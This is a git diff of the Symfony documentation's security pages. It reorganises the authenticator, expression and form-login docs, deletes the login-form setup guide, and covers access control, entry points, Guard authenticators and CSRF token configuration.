-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <access-control>
-                    <!-- allow unauthenticated users to access the login form -->
-                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
-
-                    <!-- but require authentication for all other admin routes -->
-                    <rule path="^/admin" role="ROLE_ADMIN"/>
-                </access-control>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-            // ....
-
-            // allow unauthenticated users to access the login form
-            $security->accessControl()
-                ->path('^/admin/login')
-                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
-            ;
-
-            // but require authentication for all other admin routes
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN'])
-            ;
-        };
-
-Granting Anonymous Users Access in a Custom Voter
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 5.2
-
-    The ``NullToken`` class was introduced in Symfony 5.2.
-
-If you're using a :doc:`custom voter </security/voters>`, you can allow
-anonymous users access by checking for a special
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\NullToken`. This token is used
-in the voters to represent the unauthenticated access::
-
-    // src/Security/PostVoter.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\Authentication\Token\NullToken;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
-
-    class PostVoter extends Voter
-    {
-        // ...
-
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
-        {
-            // ...
-
-            if ($token instanceof NullToken) {
-                // the user is not authenticated, e.g. only allow them to
-                // see public posts
-                return $subject->isPublic();
-            }
-        }
-    }
-
-.. _authenticators-required-entry-point:
-
-Configuring the Authentication Entry Point
-------------------------------------------
-
-Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
-login and an API token authentication). In these cases, it is now required
-to configure the *authentication entry point*. The entry point is used to
-generate a response when the user is not yet authenticated but tries to access
-a page that requires authentication. This can be used for instance to redirect
-the user to the login page.
-
-You can configure this using the ``entry_point`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            firewalls:
-                main:
-                    # allow authentication using a form or HTTP basic
-                    form_login: ~
-                    http_basic: ~
-
-                    # configure the form authentication as the entry point for unauthenticated users
-                    entry_point: form_login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <!-- entry-point: configure the form authentication as the entry
-                                  point for unauthenticated users -->
-                <firewall name="main"
-                    entry-point="form_login"
-                >
-                    <!-- allow authentication using a form or HTTP basic -->
-                    <form-login/>
-                    <http-basic/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-            // ....
-
-
-            // allow authentication using a form or HTTP basic
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->formLogin();
-            $mainFirewall->httpBasic();
-
-            // configure the form authentication as the entry point for unauthenticated users
-            $mainFirewall
-                ->entryPoint('form_login');
-        };
-
-.. note::
-
-    You can also create your own authentication entry point by creating a
-    class that implements
-    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
-    You can then set ``entry_point`` to the service id (e.g.
-    ``entry_point: App\Security\CustomEntryPoint``)
-
-.. _authenticators-removed-authentication-providers:
-
-Creating a Custom Authenticator
--------------------------------
-
-Security traditionally could be extended by writing
-:doc:`custom authentication providers </security/custom_authentication_provider>`.
-The authenticator-based system dropped support for these providers and
-introduced a new authenticator interface as a base for custom
-authentication methods.
-
-.. tip::
-
-    :doc:`Guard authenticators </security/guard_authentication>` are still
-    supported in the authenticator-based system. It is however recommended
-    to also update these when you're refactoring your application to the
-    new system. The new authenticator interface has many similarities with the
-    guard authenticator interface, making the rewrite easier.
+Symfony comes with :ref:`many autenticators <security-authenticators>` and
+third party bundles also implement more complex cases like JWT and oAuth
+2.0. However, sometimes you need to implement a custom authentication
+mechanism that doesn't exists yet or you need to customize one. In such
+cases, you must create and use your own authenticator.
 
 Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
@@ -425,8 +150,10 @@ into a security
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
     class instead.
 
+.. _security-passport:
+
 Security Passports
-~~~~~~~~~~~~~~~~~~
+------------------
 
 .. versionadded:: 5.2
 
@@ -518,7 +245,7 @@ The following credential classes are supported by default:
 
 
 Self Validating Passport
-........................
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you don't need any credentials to be checked (e.g. when using API
 tokens), you can use the
@@ -527,7 +254,7 @@ This class only requires a ``UserBadge`` object and optionally `Passport
 Badges`_.
 
 Passport Badges
-~~~~~~~~~~~~~~~
+---------------
 
 The ``Passport`` also optionally allows you to add *security badges*.
 Badges attach more data to the passport (to extend security). By default,
@@ -542,7 +269,7 @@ the following badges are supported:
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
     This is used to automatically upgrade the password to a new hash upon
     successful login. This badge requires the plaintext password and a
-    password upgrader (e.g. the user repository). See :doc:`/security/password_migration`.
+    password upgrader (e.g. the user repository). See :ref:`security-password-migration`.
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
     Automatically validates CSRF tokens for this authenticator during
diff --git a/security/expressions.rst b/security/expressions.rst
index 257aa7b6217..c1bc9717a70 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -73,10 +73,10 @@ Additionally, you have access to a number of functions inside the expression:
 ``is_fully_authenticated()``
     Equal to checking if the user has the ``IS_AUTHENTICATED_FULLY`` role.
 ``is_granted()``
-    Checks if the user has the given permission. Optionally accepts a second argument
-    with the object where permission is checked on. It's equivalent to using
-    the :doc:`isGranted() method </security/securing_services>` from the authorization
-    checker service.
+    Checks if the user has the given permission. Optionally accepts a
+    second argument with the object where permission is checked on. It's
+    equivalent to using the :ref:`isGranted() method <security-isgranted>`
+    from the security service.
 
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
diff --git a/security/form_login.rst b/security/form_login.rst
index c8f2cc7c1ff..03e7dffe49c 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -4,397 +4,7 @@
 Using the form_login Authentication Provider
 ============================================
 
-.. caution::
-
-    To have complete control over your login form, we recommend building a
-    :doc:`form login authentication with Guard </security/form_login_setup>`.
-
-Symfony comes with a built-in ``form_login`` system that handles a login form
-POST automatically. Before you start, make sure you've followed the
-:doc:`Security Guide </security>` to create your User class.
-
-form_login Setup
-----------------
-
-First, enable ``form_login`` under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    form_login:
-                        login_path: login
-                        check_path: login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <form-login login-path="login" check-path="login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->lazy(true);
-            $mainFirewall->anonymous();
-            $mainFirewall->formLogin()
-                ->loginPath('login')
-                ->checkPath('login')
-            ;
-        };
-
-.. tip::
-
-    The ``login_path`` and ``check_path`` can also be route names (but cannot
-    have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
-    default value).
-
-Now, when the security system initiates the authentication process, it will
-redirect the user to the login form ``/login``. Implementing this login form
-is your job. First, create a new ``SecurityController``::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-
-    class SecurityController extends AbstractController
-    {
-    }
-
-Next, configure the route that you earlier used under your ``form_login``
-configuration (``login``):
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"GET", "POST"})
-             */
-            public function login(): Response
-            {
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: GET|POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/>
-        </routes>
-
-    ..  code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['GET', 'POST'])
-            ;
-        };
-
-Great! Next, add the logic to ``login()`` that displays the login form::
-
-    // src/Controller/SecurityController.php
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    public function login(AuthenticationUtils $authenticationUtils): Response
-    {
-        // get the login error if there is one
-        $error = $authenticationUtils->getLastAuthenticationError();
-
-        // last username entered by the user
-        $lastUsername = $authenticationUtils->getLastUsername();
-
-        return $this->render('security/login.html.twig', [
-            'last_username' => $lastUsername,
-            'error'         => $error,
-        ]);
-    }
-
-.. note::
-
-    If you get an error that the ``$authenticationUtils`` argument is missing,
-    it's probably because the controllers of your application are not defined as
-    services and tagged with the ``controller.service_arguments`` tag, as done
-    in the :ref:`default services.yaml configuration <service-container-services-load-example>`.
-
-Don't let this controller confuse you. As you'll see in a moment, when the
-user submits the form, the security system automatically handles the form
-submission for you. If the user submits an invalid username or password,
-this controller reads the form submission error from the security system,
-so that it can be displayed back to the user.
-
-In other words, your job is to *display* the login form and any login errors
-that may have occurred, but the security system itself takes care of checking
-the submitted username and password and authenticating the user.
-
-Finally, create the template:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-    {# ... you will probably extend your base template, like base.html.twig #}
-
-    {% if error %}
-        <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-    {% endif %}
-
-    <form action="{{ path('login') }}" method="post">
-        <label for="username">Username:</label>
-        <input type="text" id="username" name="_username" value="{{ last_username }}"/>
-
-        <label for="password">Password:</label>
-        <input type="password" id="password" name="_password"/>
-
-        {#
-            If you want to control the URL the user
-            is redirected to on success (more details below)
-            <input type="hidden" name="_target_path" value="/account"/>
-        #}
-
-        <button type="submit">login</button>
-    </form>
-
-.. tip::
-
-    The ``error`` variable passed into the template is an instance of
-    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
-    It may contain more information - or even sensitive information - about
-    the authentication failure, so use it wisely!
-
-The form can look like anything, but it usually follows some conventions:
-
-* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
-  that's what you configured under the ``form_login`` key in ``security.yaml``;
-* The username field has the name ``_username`` and the password field has the
-  name ``_password``.
-
-.. tip::
-
-    Actually, all of this can be configured under the ``form_login`` key. See
-    :ref:`reference-security-firewall-form-login` for more details.
-
-.. caution::
-
-    This login form is currently not protected against CSRF attacks. Read
-    :ref:`form_login-csrf` on how to protect your login form.
-
-And that's it! When you submit the form, the security system will automatically
-check the user's credentials and either authenticate the user or send the
-user back to the login form where the error can be displayed.
-
-To review the whole process:
-
-#. The user tries to access a resource that is protected;
-#. The firewall initiates the authentication process by redirecting the
-   user to the login form (``/login``);
-#. The ``/login`` page renders login form via the route and controller created
-   in this example;
-#. The user submits the login form to ``/login``;
-#. The security system intercepts the request, checks the user's submitted
-   credentials, authenticates the user if they are correct, and sends the
-   user back to the login form if they are not.
-
-.. _form_login-csrf:
-
-CSRF Protection in Login Forms
-------------------------------
-
-`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
-CSRF tokens into the login forms. The Security component already provides CSRF
-protection, but you need to configure some options before using it.
-
-First, configure the CSRF token provider used by the form login in your security
-configuration. You can set this to use the default provider available in the
-security component:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                secured_area:
-                    # ...
-                    form_login:
-                        # ...
-                        csrf_token_generator: security.csrf.token_manager
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="secured_area">
-                    <!-- ... -->
-                    <form-login csrf-token-generator="security.csrf.token_manager"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->firewall('secured_area')
-                ->formLogin()
-                    // ...
-                    ->csrfTokenGenerator('security.csrf.token_manager')
-            ;
-        };
-
-.. _csrf-login-template:
-
-Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
-token and store it as a hidden field of the form. By default, the HTML field
-must be called ``_csrf_token`` and the string used to generate the value must
-be ``authenticate``:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-
-    {# ... #}
-    <form action="{{ path('login') }}" method="post">
-        {# ... the login fields #}
-
-        <input type="hidden" name="_csrf_token"
-            value="{{ csrf_token('authenticate') }}"
-        >
-
-        <button type="submit">login</button>
-    </form>
-
-After this, you have protected your login form against CSRF attacks.
-
-.. tip::
-
-    You can change the name of the field by setting ``csrf_parameter`` and change
-    the token ID by setting  ``csrf_token_id`` in your configuration:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/security.yaml
-            security:
-                # ...
-
-                firewalls:
-                    secured_area:
-                        # ...
-                        form_login:
-                            # ...
-                            csrf_parameter: _csrf_security_token
-                            csrf_token_id: a_private_string
-
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-                <config>
-                    <!-- ... -->
-
-                    <firewall name="secured_area">
-                        <!-- ... -->
-                        <form-login csrf-parameter="_csrf_security_token"
-                            csrf-token-id="a_private_string"
-                        />
-                    </firewall>
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/security.php
-            use Symfony\Config\SecurityConfig;
-
-            return static function (SecurityConfig $security) {
-                // ...
-
-                $security->firewall('secured_area')
-                    ->formLogin()
-                        // ...
-                        ->csrfParameter('_csrf_security_token')
-                        ->csrfTokenId('a_private_string')
-                ;
-            };
+.. TODO
 
 Redirecting after Success
 -------------------------
@@ -775,5 +385,3 @@ are now fully customized:
         <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
         <input type="submit" name="login"/>
     </form>
-
-.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
deleted file mode 100644
index 1cc640d01bd..00000000000
--- a/security/form_login_setup.rst
+++ /dev/null
@@ -1,512 +0,0 @@
-How to Build a Login Form
-=========================
-
-.. seealso::
-
-    If you're looking for the ``form_login`` firewall option, see
-    :doc:`/security/form_login`.
-
-Ready to create a login form? First, make sure you've followed the main
-:doc:`Security Guide </security>` to install security and create your ``User``
-class.
-
-Generating the Login Form
--------------------------
-
-Creating a powerful login form can be bootstrapped with the ``make:auth`` command from
-`MakerBundle`_. Depending on your setup, you may be asked different questions
-and your generated code may be slightly different:
-
-.. code-block:: terminal
-
-    $ php bin/console make:auth
-
-    What style of authentication do you want? [Empty authenticator]:
-     [0] Empty authenticator
-     [1] Login form authenticator
-    > 1
-
-    The class name of the authenticator to create (e.g. AppCustomAuthenticator):
-    > LoginFormAuthenticator
-
-    Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
-    > SecurityController
-
-    Do you want to generate a '/logout' URL? (yes/no) [yes]:
-    > yes
-
-     created: src/Security/LoginFormAuthenticator.php
-     updated: config/packages/security.yaml
-     created: src/Controller/SecurityController.php
-     created: templates/security/login.html.twig
-
-.. versionadded:: 1.8
-
-    Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
-
-This generates the following: 1) login/logout routes & controller, 2) a template that
-renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
-class that processes the login submit and 4) updates the main security config file.
-
-**Step 1.** The ``/login``/``/logout`` routes & controller::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    class SecurityController extends AbstractController
-    {
-        /**
-         * @Route("/login", name="app_login")
-         */
-        public function login(AuthenticationUtils $authenticationUtils): Response
-        {
-            // if ($this->getUser()) {
-            //     return $this->redirectToRoute('target_path');
-            // }
-
-            // get the login error if there is one
-            $error = $authenticationUtils->getLastAuthenticationError();
-            // last username entered by the user
-            $lastUsername = $authenticationUtils->getLastUsername();
-
-            return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
-        }
-
-        /**
-         * @Route("/logout", name="app_logout")
-         */
-        public function logout(): void
-        {
-            throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
-        }
-    }
-
-Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        path: app_logout
-                        # where to redirect after logout
-                        # target: app_any_route
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->firewall('main')
-                // ...
-                ->logout()
-                    ->path('app_logout')
-                    // where to redirect after logout
-                    ->target('app_any_route')
-            ;
-        };
-
-**Step 2.** The template has very little to do with security: it generates
-a traditional HTML form that submits to ``/login``:
-
-.. code-block:: html+twig
-
-    {% extends 'base.html.twig' %}
-
-    {% block title %}Log in!{% endblock %}
-
-    {% block body %}
-    <form method="post">
-        {% if error %}
-            <div class="alert alert-danger">{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-        {% endif %}
-
-        {% if app.user %}
-            <div class="mb-3">
-                You are logged in as {{ app.user.username }}, <a href="{{ path('app_logout') }}">Logout</a>
-            </div>
-        {% endif %}
-
-        <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
-        <label for="inputEmail">Email</label>
-        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" required autofocus>
-        <label for="inputPassword">Password</label>
-        <input type="password" name="password" id="inputPassword" class="form-control" required>
-
-        <input type="hidden" name="_csrf_token"
-               value="{{ csrf_token('authenticate') }}"
-        >
-
-        {#
-            Uncomment this section and add a remember_me option below your firewall to activate remember me functionality.
-            See https://symfony.com/doc/current/security/remember_me.html
-
-            <div class="checkbox mb-3">
-                <label>
-                    <input type="checkbox" name="_remember_me"> Remember me
-                </label>
-            </div>
-        #}
-
-        <button class="btn btn-lg btn-primary" type="submit">
-            Sign in
-        </button>
-    </form>
-    {% endblock %}
-
-**Step 3.** The Guard authenticator processes the form submit::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\RedirectResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\InvalidCsrfTokenException;
-    use Symfony\Component\Security\Core\Security;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Csrf\CsrfToken;
-    use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
-    {
-        use TargetPathTrait;
-
-        public const LOGIN_ROUTE = 'app_login';
-
-        private $entityManager;
-        private $urlGenerator;
-        private $csrfTokenManager;
-        private $passwordEncoder;
-
-        public function __construct(EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder)
-        {
-            $this->entityManager = $entityManager;
-            $this->urlGenerator = $urlGenerator;
-            $this->csrfTokenManager = $csrfTokenManager;
-            $this->passwordEncoder = $passwordEncoder;
-        }
-
-        public function supports(Request $request): bool
-        {
-            return self::LOGIN_ROUTE === $request->attributes->get('_route')
-                && $request->isMethod('POST');
-        }
-
-        public function getCredentials(Request $request)
-        {
-            $credentials = [
-                'email' => $request->request->get('email'),
-                'password' => $request->request->get('password'),
-                'csrf_token' => $request->request->get('_csrf_token'),
-            ];
-            $request->getSession()->set(
-                Security::LAST_USERNAME,
-                $credentials['email']
-            );
-
-            return $credentials;
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider): ?User
-        {
-            $token = new CsrfToken('authenticate', $credentials['csrf_token']);
-            if (!$this->csrfTokenManager->isTokenValid($token)) {
-                throw new InvalidCsrfTokenException();
-            }
-
-            $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $credentials['email']]);
-
-            if (!$user) {
-                // fail authentication with a custom error
-                throw new CustomUserMessageAuthenticationException('Email could not be found.');
-            }
-
-            return $user;
-        }
-
-        public function checkCredentials($credentials, UserInterface $user): bool
-        {
-            return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
-        }
-
-        /**
-         * Used to upgrade (rehash) the user's password automatically over time.
-         */
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response
-        {
-            if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {
-                return new RedirectResponse($targetPath);
-            }
-
-            // For example : return new RedirectResponse($this->urlGenerator->generate('some_route'));
-            throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-        }
-
-        protected function getLoginUrl(): string
-        {
-            return $this->urlGenerator->generate(self::LOGIN_ROUTE);
-        }
-    }
-
-**Step 4.** Updates the main security config file to enable the Guard authenticator and configure logout route:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                    logout:
-                        path: app_logout
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <guard>
-                        <authenticator class="App\Security\LoginFormAuthenticator"/>
-                    </guard>
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $mainFirewall = $security->firewall('main');
-            // ...
-
-            $mainFirewall
-                ->guard()
-                    ->authenticators([LoginFormAuthenticator::class])
-            ;
-
-            $mainFirewall
-                ->logout()
-                    ->path('app_logout')
-            ;
-        };
-
-Finishing the Login Form
-------------------------
-
-Woh. The ``make:auth`` command just did a *lot* of work for you. But, you're not done
-yet. First, go to ``/login`` to see the new login form. Feel free to customize this
-however you want.
-
-When you submit the form, the ``LoginFormAuthenticator`` will intercept the request,
-read the email (or whatever field you're using) & password from the form, find the
-``User`` object, validate the CSRF token and check the password.
-
-But, depending on your setup, you'll need to finish one or more TODOs before the
-whole process works. You will *at least* need to fill in *where* you want your user to
-be redirected after success:
-
-.. code-block:: diff
-
-      // src/Security/LoginFormAuthenticator.php
-
-      // ...
-      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): Response
-      {
-          // ...
-
-    -     throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-    +     // redirect to some "app_homepage" route - of wherever you want
-    +     return new RedirectResponse($this->urlGenerator->generate('app_homepage'));
-      }
-
-Unless you have any other TODOs in that file, that's it! If you're loading users
-from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`.
-Then, try to login.
-
-If you're successful, the web debug toolbar will tell you who you are and what roles
-you have:
-
-.. image:: /_images/security/symfony_loggedin_wdt.png
-   :align: center
-
-The Guard authentication system is powerful, and you can customize your authenticator
-class to do whatever you need. To learn more about what the individual methods do,
-see :doc:`/security/guard_authentication`.
-
-Controlling Error Messages
---------------------------
-
-You can cause authentication to fail with a custom message at any step by throwing
-a custom :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-But in some cases, like if you return ``false`` from ``checkCredentials()``, you
-may see an error that comes from the core of Symfony - like ``Invalid credentials.``.
-
-To customize this message, you could throw a ``CustomUserMessageAuthenticationException``
-instead. Or, you can :doc:`translate </translation>` the message through the ``security``
-domain:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/security.en.xlf -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="Invalid credentials.">
-                        <source>Invalid credentials.</source>
-                        <target>The password you entered was invalid!</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
